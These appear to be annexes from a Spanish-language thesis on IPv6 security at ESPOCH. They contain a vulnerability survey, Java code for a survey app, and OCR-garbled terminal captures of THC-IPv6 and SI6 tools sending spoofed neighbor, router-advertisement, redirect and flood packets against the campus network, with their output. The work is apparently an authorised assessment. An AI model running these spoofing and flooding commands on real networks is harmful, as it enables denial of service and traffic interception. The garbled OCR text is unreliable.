· Plan de contingencia
	
	
	

	2
	Para mayor seguridad de la red de la ESPOCH existen configurado cortafuegos para IPv6 ¿Hay implementados firewall?
· ¿Se ha implementado iptables?   Sí     No
· ¿Se ha implementado ip6tables? Sí     No
· ¿Hay implementadas ACLs?        Sí     No
¿Existe un dispositivo físico?       Sí     No
	
	
	

	3
	¿La administración de las cuentas de usuarios equivalentes a todas las estaciones de trabajo es limitada a la persona de apoyo técnico? Si es así:
· ¿Son protegida dichas cuentas con contraseña?     Sí     No
· ¿Con qué frecuencia se cambian las contraseñas?
               1 mes 3 meses 6 meses 1 año
· ¿Existe control de acceso a usuarios remotos con dirección IPv6?     Sí     No
	
	
	

	4
	¿Todas las VLAN o subredes tienen conectividad ipv6?
	
	
	

	5
	¿Como medida de seguridad se separa servicios en los servidores que están implementados IPv6?
	
	
	

	6
	¿Su departamento tiene acceso físico y remoto a los dispositivos de la red IPv6?
	
	
	

	7
	¿Se lleva una bitácora de actividades diarias?
	
	
	



PREGUNTAS SOBRE VULNERABILIDADES
Marque con una (x) su respuesta:   
En el monitoreo de la red se ha hallado las siguientes vulnerabilidades que inducen a posibles ataques de los cuales está expuesta una red implementada en IPv6:

	Nº Preg.
	VULNERABILIDAD & ATAQUES
	Es Vulnerable
	No es Vulnerable
	Desconozco
	Observación

	
	Vulnerabilidades de Consideraciones Generales
	
	
	
	

	1
	Fingerprinting 
	
	
	
	

	2
	[bookmark: __DdeLink__1369_1029127172]Descubrimiento de host
	
	
	
	

	3
	Problemas con DNS inversa 
	
	
	
	

	4
	Problemas de privacidad por SLAAC 
	
	
	
	

	5
	Problemas de administración con la Autoconfiguración de direcciones “stateful” en DHCPv6
	
	
	
	

	6
	Soporte para características IPv6 obsoletas / inseguras 
	
	
	
	

	7
	Sistema / servicio sin / mala funcionalidad de IPv6 
	
	
	
	

	
	Vulnerabilidades de filtrado
	
	
	
	

	1
	Dispositivo de filtrado permite canales encubiertos 
	
	
	
	

	2
	Es vulnerable porque el dispositivo de filtrado no bloquea el tráfico entrante de IPv6
	
	
	
	

	3
	Es vulnerable porque el dispositivo de filtrado no filtra el tráfico IPv6
	
	
	
	

	4
	Es vulnerable porque dispositivo de filtrado no permite filtra túneles IPv6
	
	
	
	

	5
	Dispositivo de filtrado no gestionan correctamente fragmentos superpuestos 
	
	
	
	

	6
	Dispositivo de filtrado no soporta algunos encabezados de extensión 
	
	
	
	

	7
	Dispositivo de filtrado filtra demasiados paquetes ICMPv6
	
	
	
	

	8
	Red acepta servidor DHCP6 malicioso 
	
	
	
	

	9
	Red acepta paquetes DAD maliciosos
	
	
	
	

	10
	Red acepta paquetes ICMPv6 re-direccionados maliciosamente
	
	
	
	

	11
	Red acepta paquetes ND maliciosos
	
	
	
	

	12
	Red acepta paquetes RA maliciosos
	
	
	
	

	
	Vulnerabilidades de sistemas específicos
	
	
	
	

	1
	Ataque Smurf  través de la dirección de multidifusión de origen /destino
	
	
	
	

	2
	Colisión del sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados
	
	
	
	

	3
	Caídas del sistema por paquetes con cabeceras de extensión ilimitada
	
	
	
	

	4
	Caídas del sistema por inundaciones RA
	
	
	
	

	5
	DoS a través de inundaciones SeNd 
	
	
	
	

	6
	Agotamiento de tabla de estado del sistema por las inundaciones ND
	
	
	
	

	
	Vulnerabilidades de enrutamiento
	
	
	
	

	1
	DDoS a través de enrutamiento utilizando túneles 
	
	
	
	

	2
	Enrutamiento influenciado por suplantación de ICMP 
	
	
	
	

	
	Otras vulnerabilidades
	
	
	
	

	1
	DDoS a través de tamaño del paquete de respuesta DNS
	
	
	
	

	2
	[bookmark: __DdeLink__1386_1029127172]Vulnerabilidad de seguridad en aplicaciones 
	
	
	
	





[bookmark: _Toc442981794]ANEXO 5: Detección de vulnerabilidades
Figerprinting
[image: ]
Descubrimiento de host
scan6		sudo scan6 –i eth0 –L –v			Alive6		sudo alive6 eth0
[image: ][image: ]









Vulnerabilidad de fragmentos superpuesto
[image: ]frag6	sudo frag6 -i eth0 -v --frag-reass-policy –d 2800:68:a:4:a00:27ff:fe11:100






Red acepta paquetes ND maliciosos
Parasite6	sudo Parasite6 eth0
[image: ]












Ataques smurf
smurf6		sudo smurf6 eth0 –fe80::a00:27ff:fe11:100 










Colisión del sistema por ensamblaje incorrecto de  paquetes de mensajes fragmentados
ra6		sudo ra6 -i eth0 -s 2800:68:a:4:a00:27ff:fe11:100 -d 2800:68:a:4:a00:27ff:feba:3a4
[image: ]-c hps –v





Caídas del sistema por inundaciones RA 
flood router6		sudo flood_router6  -HFD eth0
[image: ]
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logo
ESPOCH – Escuela Superior Politécnica de Chimborazo – Saber para Ser
Acceso
Usuario
Clave
Ingresar
Ataque
XXXXXXXXXXXXXXXXXXX
Consola
Derechos  reservados














logo
ESPOCH – Escuela Superior Politécnica de Chimborazo – Saber para Ser
#
Vulnerabilidad
Si
S/N
No































Encuesta
Derechos  reservados















logo
ESPOCH – Escuela Superior Politécnica de Chimborazo – Saber para Ser
 
Estadisticas
Derechos  reservados












[bookmark: _Toc442981796]ANEXO 7: Codificación de la aplicación
	Modulo Login 
		Controlador Login
public void login() {
        try {      usuarioSistema = FunUsuario.login(usuario, contrasenia);
            if (usuarioSistema != null) {
                FacesContext contex = FacesContext.getCurrentInstance();
                this.datosSesion.setSesionUsuario(usuarioSistema);
            } else {  Mensajes.mensajeAlerta("Datos Incorrectos");
            }  } catch (Exception e) {
            Mensajes.mensajeError("Error al loguearse");
        }  }
Funcion login
     public static ClaseUsuario login(String usuario, String contrasenia) throws Exception {
        ClaseUsuario lst = new ClaseUsuario();
        Conexion cnn = new Conexion();
        try {
            String sql = "SELECT * from login.usuario where usuario=? and password=?;";
            PreparedStatement st = cnn.getConexion().prepareStatement(sql);
            st.setString(1, usuario);
            st.setString(2, contrasenia);
            ResultSet rs = st.executeQuery();
            lst = Llenar(rs).get(0);
            rs.close();
            st.close();
            rs = null;
        } catch (Exception e) {
            throw new Exception(e.getMessage());
        } finally {
            if (cnn.getConexion() != null) {
                if (!(cnn.getConexion().isClosed())) {
                    cnn.getConexion().close();
                }
                cnn = null;
            }
        }
        return lst;
    }
	Modulo ataques
		Guardar archivo a la base de datos
public static boolean subirArchivo(FileUploadEvent event, String ruta, String nombre) throws Exception {
        boolean opcion = false;
        try {
            if (event != null) {
                if (copiarArchivo(nombre, event.getFile().getInputstream(), ruta)) {
                    opcion = true;
                }
            }
        } catch (Exception e) {
            throw new Exception(e.getMessage());
        }
        return opcion;
    }
		Descargar archivo 
public static StreamedContent archivoDescargar(String ruta, String nombre) throws Exception {
        String rutacompleta = getRutaAbsoluta(ruta) + nombre;
        FileInputStream stream;
        try {
            stream = new FileInputStream(rutacompleta);
            StreamedContent archivoDescargar = new DefaultStreamedContent(stream, "application/txt", nombre);
            return archivoDescargar;
        } catch (FileNotFoundException e) {
            throw new Exception(e.getMessage());
        }
    }
	Modulo encuesta
		Guardar cuestionario
public static boolean Insertar(List<ClaseVulnerabilidad> listaVulnerabilidad, String descripcionEncuesta)
throws Exception {boolean blnEjeRetorno = false; int idEncuesta = 0;Conexion cnn = new Conexion();
        try {
            cnn.getConexion().setAutoCommit(false);
            String sql = "SELECT * from control.funinsertencuestanumid(?, ?);";
            PreparedStatement st = cnn.getConexion().prepareStatement(sql);
            st.setString(1, descripcionEncuesta);
            st.setString(2, fechaActual());
            st.execute();
            if (st.getResultSet().next()) {
                idEncuesta = st.getResultSet().getInt(1);
                st.close();
            }
            for (ClaseVulnerabilidad vulnerabilidad : listaVulnerabilidad) {
                if (vulnerabilidad.isSi()) {
                    vulnerabilidad.setRespuesta(1);
                } else if (vulnerabilidad.isNo()) {
                    vulnerabilidad.setRespuesta(2);
                } else if (vulnerabilidad.isNose()) {
                    vulnerabilidad.setRespuesta(3);
                }
                String sql1 = "INSERT INTO control.cuestionario(idvulnerabilidad, idencuesta, respuesta, observacion)VALUES (?, ?, ?, ?);";
                PreparedStatement st1 = cnn.getConexion().prepareStatement(sql1);
                st1.setInt(1, vulnerabilidad.getIdVulnerabilidad());
                st1.setInt(2, idEncuesta);
                st1.setInt(3, vulnerabilidad.getRespuesta());
                st1.setString(4, vulnerabilidad.getObservacion());
                st1.execute();
                st1.close();}
            cnn.getConexion().commit();
            blnEjeRetorno = true;
        } catch (Exception e) {
            cnn.getConexion().rollback();
            throw new Exception(e.getMessage());
        } finally {
            if (cnn.getConexion() != null) {
                if (!(cnn.getConexion().isClosed())) {
                    cnn.getConexion().close();
                }                cnn = null;
            } }   return blnEjeRetorno;
    }}
	Módulo estadísticas
		Generar grafico
public void createPieModel1() {
        pieModel1 = new PieChartModel();
        pieModel1.set("Es Vulnerable", obtenerPorcentajeVulnerable());
        pieModel1.set("Se Desconoce", obtenerPorcentajeSeDesconoce());
        pieModel1.set("No es Vulnerable", obtenerPorcentajeNoVulnerable());
        pieModel1.setTitle("Nivel de Vulnerabilidad");
       pieModel1.setLegendPosition("w");   }

Nivel Vulnerabilidad	Si es Vulnerable	No es vulnerable	Se Desconoce	18	8	10	
Si	Trimestre 1	Trimestre 2	Trimestre 3	Trimestre N	4.3	2.5	3.5	4.5	No	Trimestre 1	Trimestre 2	Trimestre 3	Trimestre N	2.4	4.4000000000000004	1.8	2.8	s/n	Trimestre 1	Trimestre 2	Trimestre 3	Trimestre N	2	2	3	5	
Si	Ipv6	No	Ipv6	0	
Si	Ipv6	Ipv4	1	No	Ipv6	Ipv4	0	
Si	pregunta 3	1	No	pregunta 3	
Si	Ipv6	No	Ipv6	0	
Si	Ipv6	1	No	Ipv6	
Si	Pregunta6	1	No	Pregunta6	
Si	Pregunta7	1	No	Pregunta7	
Es vulnerable	fingerprinting	1	Desconozco	fingerprinting	No es Vulnerable	fingerprinting	
Es vulnerable	Host Discovery	1	Desconozco	Host Discovery	No es Vulnerable	Host Discovery	
Es vulnerable	DNS inversa	Desconozco	DNS inversa	No es Vulnerable	DNS inversa	0	
Es vulnerable	Privacidad SLAAC	Desconozco	Privacidad SLAAC	0.5	No es Vulnerable	Privacidad SLAAC	
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2800 B0ed:4ba
2800
patyepaty-desktop:~$

UbuntuTesis10.04 clonar [Corriendo] - Oracle VM VirtualBox

mar18demar, 1126 ty @paty ) 4) B

patyepaty-desktop:~$ sudo scané -i ethd -L -v
Link-local addresses

reso
reso
reso
reso
reso
reso
reso
reso
reso
reso
reso
reso
reso
reso
ese

+fecc:2050

:fell:100

2800:68:2:4: f00a: 422
patyapaty-desktop:-s
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EIPT U} Avlicaciones Lugares sistema [} @ Ty ) B lun 9dedic, 1637 @ paty &

memmmm © © © paty@paty-desktop: ~/ipv6toolkit-v1.4.1

Archivo Editar Ver Terminal Ayuda

Programmed by Fernando Gont for SI6 Networks <http://wuw.siénetworks.com
Please send any bug reports to <fgont@siénetworks. com>

s paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo scan6 -i etho -L -v
Link-local addresses:

Global addresse:
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo scan6 -i ethd -L
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo address6 -a fcee::1
Error: neither a valid mac, ipv4 or ipv6 address
paty@paty-desktop:~/ipv6toolkit-vl.4.1$ sudo address -h

address6 v2.3 (c) 2013 by van Hauser / THC <vh@thc.org> wa.thc.org

Syntax:
addressé mac-address [ipv6-prefix]
addressé ipv4-address [ipv6-prefix]
addressé ipve-address

Converts a mac or ipv4 address to an ipv6 address (link local if no prefix is
given as 2nd option) or, when given an ipv6 address, prints the mac or ipv4
address. Prints all possible variations. Returns -1 on errors or the number of
variations found

paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo address6 feso::a00:27ff:
08:00: 03:a4

paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo address feso:
08:00:27:ba:03:24

paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo address6 feso::a0:27ff:feba:3ad::1

eba:3a4
L3

:200:27ff:

:3a4/64.

fe80: :8200: ff:fe03:4f50
paty@paty-desktop:~/ipv6toolkit-v1.4.1$

paty@paty-desk... | scan6.1 (~/ipvét... W paty - Navegad.

% UbuntuT... [ *Docum... [§ Herrami...

FE N
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Xuvun _cod (~/Escritorio) - gedit
Archivo | @@ @ paty@paty-desktop: ~/ipvétooll
Archivo Editar Ver Terminal Ayuda
-a22-XS-F100 -1 -z 1 -v
Couldn't find local router. Now trying Neighbor Discovery for the target node
EXREror while performing Neighbor Discovery for the Destination Address
f{patyepaty-desktop:~/ipvétoolkit-vl.4.1$ sudo tcpé -i etho -s 2800:6:
coo: 1-a22-XS-F1e0 -1 -z 1 -v

Couldn't find local router. Now trying Neighbor Discovery for the target node
Error while performing Neighbor Discovery for the Destination Address
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo tcp6 -i ethe -d fcee
S -F 180 -1 -z 1 -v
Couldn't find local router. Now trying Neighbor Discovery for the target node
Error while performing Neighbor Discovery for the Destination Address
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ tcp6 -i eth® -L -X RA -v
tcp6 needs root privileges to run.
paty@paty-desktop:~/ipv6toolkit-v1.4.1$ sudo tcp6 -i eth® -L -X RA -v
{sudo] password for paty:

tcp6: Security assessment tool for attack vectors based on TCP/IPv6 packets

v1.4.1

3 -d f

-a 22 X

Ethernet Source Address: Automatically selected for each packet
IPv6 Hop Limit: 255 (default)

Source Port: Auto Destination Port: Auto

SEQ Number: Auto ACK Number: Auto

Flags: RA Window: 6400 (randomized)

Listening to incoming IPV6 messages...

jumbos
Jumbos

no v Ancho

[ [ipvétoolki... ) [Escuelas... ] [paty@ESP... v [Oracle VM... B8 UblntuTesi.. @ [na-attack ...
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Flags: S Window: 20480 (randomized) URG Pointer: @ (default)
Sending TCP segments every 1 second. .
rE

1 v

paty@paty-desktop:~$ sudo flows -i etho --flow-label-policy -d feso
{sudo] password for paty:

Error while perforning Neighbor Discovery for the Destination Address
paty@paty-desktop:~$ sudo flows -i etho --flow-label-policy 2800:68
Ethernet Source Address: 08:00:27:ba:03:a4 (automatically selected)
Ethernet Destination Address: 69:00:00:00:00:00 (automatically selected)
IPv6 Destination Addres:

IPv6 Hop Limit: 84 (randomized)

Protocol: UDP  Destination Port: 0

Error: Nothing to send! (Destination Address left unspecified)
paty@paty-desktop:~$

@9 & @@ 0| @ @t Derecho

[Oracle ... g8 UbuntuT.. M paty-N.. @ Traducto... @ icmpé-at.. () paty@ES. [httpy/Ar... B [Herrami
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© © ® paty@paty-desktop: ~

Archivo Editar Ver Terminal Ayuda

nbo Payloads

*ip (~/Escritorio) - gedit

paty
B Escritorio
Cisistemadea

i@ Red Ethernet Source Address: Automatically selected for each packet
Disquete IPV6 Hop Limit: 227 (randomized)
SUSSRN = ror: Nothing to send! (Destination Address left unspecified)
fi Papelera paty@paty-desktop:~$ sudo jumbo6 -i eth® -L -b 2800:68:a:1::3 -v
PR el junbo6 version 1.6: Security assessment tool for attack vectors based on IPV6 Ju|
@ Misico nbo Payloads

[OECE F thernet Source Address: Automatically selected for each packet
18 Videos IPV6 Hop Limit: 227 (randomized)

Error: Nothing to send! (Destination Address left unspecified
paty@paty-desktop:~$ sudo junbos -i etho -L -d 2800:68 3 v
junboé version 1.9: Security assessment tool for attack vectors based on IPV6 Ju
mbo Payloads

Descargas

Ethernet Source Address: 08 ba:03:a4 (automatically selected)
Ethernet Destination Address: 00 :c6:a7:bf (aukomatically selected)
IPV6 Source Address: 2800:68:a:4:a00:27ff:feba:3a4

IPv6 Destination Address: 280«

IPv6 Hop Limit: 227 (randomized)

Sending ICMPV6 Echo Request

paty@paty-desktop:~$

& *ip (~/Escri... ¥ Google - M., paty@paty-.. I

) &P [ v (@) Ctrl Derecho

¥ o [Oracle.. P§ UbuntuT.. M® paty-N.. @ Taducto.. @ icmp6-at. paty@ES... @ [http/ar... [ Herrami... [JE&J}
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paty@paty-desktop:~$ sudo fragé -i ethe -v --frag-reass-policy -d 2860:68:a:4:200:27f:fell:100
Ethernet Source Address: 08:00: 03:a4 (automatically selected)

Ethernet Destination Address: 68:00:27:11:01:00 (automatically selected)

IPv6 Source Address: 2800:68 00:27ff:feba:3a4 (automatically selected)

TPV6 Destination Address: 2800 :200:27ff:fel1:100
IPV6 Hop Limit: 225 (randomized)

B Tl o (2l el o 52 e 02
Sending Fragnents for Test #1.
Sending Fragments for Test #2.
Sending Fragments for Test #3.
sending Fragments for Test #4.
Sending Fragments for Test #5.
Sending Fragments for Test #1.
Sending Fragnents for Test #2.
Sending Fragments for Test #3.
Sending Fragments for Test #4.
Sending Fragnents for Test #5.
Test #1: Tined out (fragnents discarded without notification)
Test #2: Timed out (fragments discarded without notification)
Test #3: Timed out (fragnents discarded without notification)
Test #4: Timed out (fragments discarded without notification)
Test #5: Timed out (fragments discarded without notification)
paty@paty-desktop:~$ |
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ip (~/Escritorio) - gedit
" Archivo Editar Ver Buscar Herramientas Documentos Ayuda
© © ® paty@paty-desktop: ~

Archivo Editar Ver Terminal Ayuda

R Source Address: 2001:db8:10::1 (automatically-selected)
Destination Address: 2001:db8:11::2

Hop Limit: 122 (randomized)

Identifier: 42756 (randomized) Sequence Number: 62724 (randomized)
Initial attack packet(s) sent successfully.

paty@paty-desktop:~$ sudo icmp6 -i eth® --icmp6-packet-too-big -p ICMP6 -d 2800:

61 2 --peer-addr 2800:68 -m 1240 -v
icmp6 version 1.1

Assessment tool for attack vectors based on ICMPV6 error messages

[1mage}

Ethernet Source Address: 68 ba:03:a4 (randomized

Ethernet Destination Address: 9:14:a9:c6:a7:bf (automatically selected)
8e9:b90d: 71cf:9390:b452 (randomized)

1PV6 Destination Address 2

IPV6 Hop Limit: 227 (randomized)

ICMPVG Packet Too Big (Type 2), Code O

Next-Hop MTU: 1240

Payload Type: IPV6/ICHPVG Echo Request

Source Address: 2800:68:a;:2 (automatically-selected)

Destination Address: 2800%s 3

Hop Limit: 100 (randomized)

Tdentifier: 24392 (randomized) Sequence Number: 18665 (randomized

Initial attack packet(s) sent successfully.

paty@paty-desktop:~$

Terminago
[ *ip (~/Escri... ©) Google - M. paty@paty-.

= $ @) Ctrl Derecho

T9 v [Oracle... | UbuntuT... W® paty-N.. @ Traducto... @ icmp6-at. Paty@ES... @ [http/Ar... [ Herrami.
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Ethernet Destination Address: 33:33:00:00:00:01 (all-nodes multicast)

IPV6 Source Address: randomized, from the fe80::/64 prefix

1PV Destination Address: f62::1 (all-nodes link-local multicast)

IPv6 Hop Limit: 255 (default)

ND Target Address: 2800:68:a El

Source Link-layer Address option -> Address: (randomized for each packet)

Initial attack packet(s) sent successfully.

Now sending Neighbor Solicitations every 10 seconds...
~C

paty@paty-desktop:~$ sudo na6 -i etho -d 2800: -t 2800: -c -0 -e
paty@paty-desktop:~$ sudo na6 -i etho -d 2800: -t 2800 -c -0 -e
paty@paty-desktop:~$ sudo na6 -i etho -d 2800: -t 2800: -c-0-e-v
Ethernet Source Address: 9b:73:a3:d3:73:cf (randomized)

Ethernet Destination Address: 33 00:00:01 (all-nodes multicast)

IPV6 Source Address: fe80::bfo4:10b4:b4b9:feff (randomized)

IPV6 Destination Address: 2800:68:a:1::3

IPV6 Hop Limit: 255 (default)

ND Target Address: 2800:68:a:1::2

Flags: SO

Target Link-layer Address option -> Address: 9b:73 73:cf

Initial attack packet(s) sent successfully.

paty@paty-desktop:~$ sudo na6 -i etho -d 2800: -t 2800: “c-0-e-v

:caza3:46:1b (randomized)
00:00:01 (all-nodes multicast)
149 (randomized)

Ethernet Source Address: 4c:
Ethernet Destination Address: 33
IPV6 Source Address: fege::499c: 8
IPV6 Destination Address: 2800:68:a:1::3
IPV6 Hop Limit: 255 (default)

ND Target Address: 2800:68:a
Flags: SO

Target Link-layer Address option -> Address: 4c:5c:c
Initial attack packet(s) sent successfully.
paty@paty-desktop:~$ |

[ ip (~/Escritorio) - gedit

&)

paty@paty-desktop: ~

JEEUBUR UbuntuTesis10.04 clonar [Corriendo] - Oracle VM VirtualBox

™ ¥ OracleVM.. @ iBienvenid... g paty - Nav.
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ICMPVG NI Query (Type 139), Subject is an IPv6 address (Code @)
Subject IPv6 Address: 2800:68:a:1::3
Qtype: Node Name (Qtype 2)

Flags: none (default)

Sending ICMPV6 Node Information Query....
3 -d 2800:68:3

paty@paty-desktop:~$ sudo ni6 -i ethd --subject-ipvé 2860:68:
11:32 -q 2 -v.
ni6: Assessment tool for attack vectors based on ICMPV6 NI messages

Ethernet Source Address: 8:00:27:ba:03:a4
Ethernet Destination Adyres a7:bf (automatically selected)
IPv6 Source Address: 28 00:27ff:feba:3a4 (automatically selected)
IPV6 Destination Address: 2800:68:
IPV6 Hop Limit: 191 (randomized)

ICMPVG NI Query (Type 139), Subject is an IPv6 address (Code @)
Subject IPv6 Address: 2800:68:a:1::3

Qtype: Node Name (Qtype 2)

Flags: none (default)

:3-F10 -1 -2 10 -e -v

Sending ICMPV6 Node Information Query....

paty@paty-desktop:~$ I

Source Link-layer Address option -> Address: (randomized for each packet)
Initial attack packet(s) sent successfully.
Now sending Neighbor Solicitations every 10 seconds...

paty@paty-desktop: ~

™ [ ip (~/Escritorio) - gedit

B Hemamientas.... ‘@ na-attack tool.

T o [OracleVMVi... @ iBienvenidoa... i paty - Navega... |3 UbuntuTesisl.
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*codg (~/Escritorio) - gedit
Archivo Editar Ver Buscar Herramientas Documentos Ayuda
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*codg %

ns6é © © ® paty@paty-desktop: ~
ns6 -1 etho -s 2001 Archivo Editar Ver Terminal Ayuda
9 packets transmitted, @ received,

100% packet loss, time 8064ms

paty@paty-desktop:~$ pingé espoch.edu.ec

PING espoch.edu.ec(2800:68 ) 56 data bytes

64 bytes from 2860: icmp_seq=1 ttl=62 time=4.80 ms
bytes from 2800:68:a:1::2: icmp seq=2 ttl=62 time=0.854 ms
bytes from 2860
bytes from 2860
bytes from 2860: X
bytes from 2860 icmp_seq=6 ttl=62 time=1.40 ms

espoch.edu.ec ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 501lms
rtt min/avg/max/ndev = 0.854/4.439/15.774/5.247 ms

Hloatyepaty -desktop:~$ sudo nso -i etho -d 2800:68:a:1::2 -t 2800
Ethernet Source Address: alic:ad:fc:do:32 (randonized)

Ethernet Destination Address: 33:33:00:00:00:01 (all-nodes multicast)

1Pv6 Source Address: feso::3881:f19a:3541:55b (randomized)

1Pv6 Destination Address: 2800:68:a:1:

IPv6 Hop Limit: 255 (default)

ND Target Address: 2800:68

Source Link-layer Address option -> Address:

Initial attack packet(s) sent successfully.

paty@paty-desktop:~$

[ *codg (~/Escritorio) - g... 5] paty@paty-desktop: ~

:a:

al:c4:ad:fc:do:32

[Oracle VM Vi... @ Traductor de G... i ipv6toolkit - N... (g8 UbuntuTesisi...| [ [Herramientas...
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[-D LINK-DST-ADDR] [-t TARGET ADDR[/LEN]] [-r] [-c]
PREFIX[/LEN]] [-k PREFIX[/LEN]] [-] LINK ADDR] [-K
[-b PREFIX[/LEN]] [-g PREFIX[/LEN]] [-B LINK ADDR]
EN]] [-F N_SOURCES] [-T N_TARGETS] [-L | -] [-z] [
paty@paty-desktop:~$ sudo na6 -i etho -b 2800:68:

A9:C6:A7:BF -c D -L -n

Error in Source link-layer address.

paty@paty-desktop:~$ ra6 -i eth -s 2800:68:a:4:200:27ff:fel1:100 -d 2800:68:a:4)
:200:27fF:feba:3a4 -c hps -v
ra6 needs root privileges to run.

paty@paty-desktop:~$ sudora6 -i etho -s 2800:68:a:4:200:27ff:fe11:100 -d 2800:68

a00:27ff: feba:3ad -c hps -v
sudora6: command not found
paty@paty-desktop:~$ sudo ra6 -i eth -s 2800:68:a:4:200:27ff:fel1:100 -d 2800:6
a00:27ff: feba:3a4 -c hps -v

Ethernet Source Address: f6:ad:9c:77:ad:c2 (randomized)
Ethernet Destination Address

IPV6 Source Address: 2800:68

IPV6 Destination Address 00:27ff: feba:3a4.
IPV6 Hop Limit: 255 (default)

Cur Hop Limit: @ Preference: 1 Flags: none

Reachable Time: 4294967295 Retrans Timer: 4000

Initial attack packet(s) sent successfully.

paty@paty-desktop:~$

[-E LINK ADDR] [-e] [-j]8

[-c] [-o0

-K LINK_ADDR] [-w PREFIX[/LEN]]
[-6
v

-G LINK_ADDR] [-W PREFIX[/L|
1 [-V]
:200:27ff:fe11:100 -B 00:

Router Lifetime: 9000

[ [ip (~/Escritorio) - gedit]

™ @ Outlook... ¥ DISK-N... [ Docume... % UbuntuT... [ clil [Com... ® Docume... [ Hermami.
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paty@paty-desktop:~$ sudo rs6 -i etho -d fese::1 -E ff:ff:ff:ff:ff:ff -v .
Ethernet Source Address: 76:9f:ac:ec:97:35 (randomized)

Ethernet Destination Address: 33:33:00:00:00:02 (all-routers multicast)

IPV6 Source Address: feso::dfel:aac3:f2ba:8726 (randomized)

IPV6 Destination Address: fege::1

IPV6 Hop Limit: 255 (default)

Source Link-layer Address option -> Address: ff:ff:ff:ff:ff:ff

Initial attack packet(s) sent successfully.

paty@paty-desktop:~$.

paty@paty-desktop: ~ | [ *codftxt (~/Escritorio.
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Maquina Ver Dispositivos Ayuda

3 Aplicaciones Lugares Sistema [} ‘B @ mié 19 de mar, 15:58 1y @ paty & 4) B
© © @ paty@paty-desktop: ~
Archivo Editar Ver Terminal Ayuda L3

[sudo] password for paty:
paty@paty-desktop:~$ sudo ra6 -i ethd -s fes9::1234 -S 00:01:02:6:
:1 -N 900 --flood-dns 1000#10 -L

Error in '-k' option: Number of addresses per option exceeds 127
paty@paty-desktop:~$ ra6 -i ethd -d fege::1 -D 01:02:03:04:05:06 -c 5 --lifetime
100 -0 -e -M 1400

ra6 needs root privileges to run.

paty@paty-desktop:~$ sudo ra6 -i ethd -d fese::1 -D 01:02:03:04:05:06 -c 5 --1if
etine 100 -0 -e -M 1400

paty@paty-desktop:~$ sudo rd6 -i ethe --learn-router --sanity-filters -L --make-
onlink -v

rds version 1.1

Assessment tool for attack vectors based on Redirect messages

:05 -d feso

Making nodes on-link (setting the RD Target Address to the RD Destination Addres
s)

Ethernet Source Address: 14:29:c6:a7:bf

IPv6 Source Address: fe80::214:a9ff:fec6:a7bf

IPv6 Hop Limit: 255 (default)

Block filter for IPv6 Source Addresss: fese::/16

Accept filter for link-layer Destination Address:
Listening to incoming IPv6 messages...

00:14:29:

paty@paty-desktop: ~

@ [AlE.

E *Doc... [ [Busc... @ [Aliex...

I [clil[... B [Docu.
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3 Aplicaciones Lugares Sistema [} ‘B @ jue20demar, 1734 13 @upaty O ) =
©.© 0 paty@paty-desktop: ~

Archivo Editar Ver Terminal Ayuda

paty@paty-desktop:~$ sudo alives etho
{sudo] password for paty:
Alive: 2800:68:a:4:222:64fF:fe0a:6386 [ICHP echo-reply]

Alive: [ICHP echo-reply]

Alive: 20a:1ff:feda:3858 [ICMP echo-reply]

Alive: :68:a:4:221:5aff: fecc:2056 [ICMP echo-reply]

Alive €269:957f:fe4f:7296 [ICMP parameter problen]
Alive d019:25f9:81b0:€e96 [ICHP parameter problen]
Alive 8092:1a80:483d:8445 [ICMP parameter problen]
Alive €11:100 [ICHP echo-reply]

Alive:

8ed:15bc:6a3b:22b6 [ICMP parameter problem]
Alive: :

:80ed:4ba:e6c9:e2b7 [ICMP parameter problem]

Scanned 1 address and found 10 systems alive
paty@paty-desktop:~$ alive6 ethe

Error: could not capture on interface ethe with string dst 2800:68:a:4:a00:27ff:
feba:3a4 and icnp6

paty@paty-desktop:~$ sudo alive ethe

Alive: 2800:68:a:4:20a:1ff:fe9a:3858 [ICMP echo-reply]

Alive: 20a:6386 [ICMP echo-reply]
Alive: ecc:2050 [ICHP echo-reply]

Alive: :1 [ICHP echo-reply]

Alive: 200:27FF:fel1:100 [ICHP echo-reply]

Alive: 8092:1a80:483d:8445 [ICMP parameter problen]
Alive: 8ed:15bc:6a3b:22b6 [ICMP parameter problem]
Alive: :68:a:4:€269:95F: fe4f:7296 [ICMP parameter problen]

Alive: d019:25f9:81b0:€e96 [ICHP parameter problen]
Alive: 80ed:4ba:e6c9:e2b7 [ICMP parameter problem]
Alive: 2800:68:a:4:c4:Cf3e:e04d:97dd [ICMP parameter problem]

Scanned 1 address and_found 11 systens alive
paty@paty-desktop:~$ I
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:~/thc-ipv6-2.3$ cd ..
~$ sudo parasite ethe

Remember to enable routing (ip forwarding), you will denial service otherwise!

=> echo 1 > /proc/sys/net/ipve/conf/all/forvarding

Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...
14:29FF: fec6:a7bf

1 paty paty 2028 2013-12-65 sendpeest.c

1 paty paty 5451 2013-12-65 sendpeesnp6. ¢
1 paty paty 1765 2013-12-65 smurf6.c

1 paty paty 5575 2013-12-65 thc-ipv6.8

1 paty paty 11931 2013-12-65 thc-ipv6.h

1 paty paty 94616 2013-12-65 thc-ipv6-lib.c
1 paty paty 3567 2013-12-65 the-ipv6-setup.sh*
1 paty paty 15014 2013-12-65 thping6.c

1 paty paty 4584 2013-12-65 thesyns. ¢

1 paty paty 2676 2013-12-65 ‘toobig6.c

1 paty paty 17154 2013-12-65 trace6.c

spoofed packet to d84: ce2:a82b:83c2 as feso:
spoofed packet to :c65c:855€:9b14 as fe80::214:a9ff: fec6:a7bf
spoofed packet to :9f4:7c09:160a as fe8o:
spoofed packet to :43el:eaef:b451 as feso:
spoofed packet to :9f4:7c09:160a as feso:
spoofed packet to e2:a82b:83c2 as fe8d
spoofed packet to

spoofed packet to

spoofed packet to

spoofed packet to

spoofed packet to :9f4:7c09:160a as
spoofed packet to :684:3d35:70e2 as
spoofed packet to :632a:5fbe:60fe as
spoofed packet to :9f4:7c09:160a as
spoofed packet to :632a:5fbe:60fe as

::79a5:f94:7c09:160a

™ ) paty@paty desktop: = E [escip.txt (~/Escritorio)
